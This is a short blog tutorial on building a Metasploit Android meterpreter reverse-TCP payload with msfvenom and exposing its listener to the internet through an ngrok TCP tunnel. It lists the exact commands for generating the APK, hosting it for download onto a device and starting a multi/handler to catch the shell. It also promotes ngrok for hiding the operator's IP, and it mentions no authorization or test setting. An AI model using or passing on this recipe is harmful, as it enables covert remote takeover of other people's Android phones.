How To Setup Port Forwarding For Msfvenom Android Payloads (WAN)

How To Setup Port Forwarding For Msfvenom Android Payloads (WAN)

What is Ngrok?

Ngrok is a tunneling, reverse proxy system that establishes secure tunnels from a public endpoint such as the internet to a locally running network service while capturing all traffic for detailed inspection and replay.

So it allows you to expose a port on your computer on the internet, and because it is a reverse proxy it does not expose your IP, it provides you with a URL.

It is most popularly used by Web developers, exposing their local host/web server on the internet to share with others or test.

Issues with traditional Port forwarding

  • Many individuals have a static IP or have only one IP assigned to them by their ISP.
  • Do not have access to their router admin page – I have made a video on how to do this manually.
  • Real port forwarding exposes your computer completely, with your IP

Advantages of Ngrok

  • Free
  • Create TCP Tunnels
  • Multiple Tunnels simultaneously

Setting up Ngrok

  • Visit website
  • Create Account
  • Download executable
  • Unzip 
  • Get Auth token from the site and execute the command
  • Run binary

Getting started

  • ./ngrok tcp 1234
  • Host <Ngrok Url> – to get IP (Not interacting with URL’s)
  • Msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok IP> LPORT=<NGROK PORT> R > /root/desktop/Payload.apk
  • Copy apk to web server and download on device
  • Start multi handler and set payload
  • Set LHOST 0.0.0.0
  • Set LPORT 1234
  • Run
  • Bam!
Liked it? Take a second to support Alexis on Patreon!
Share this post

Leave a Reply

Your email address will not be published. Required fields are marked *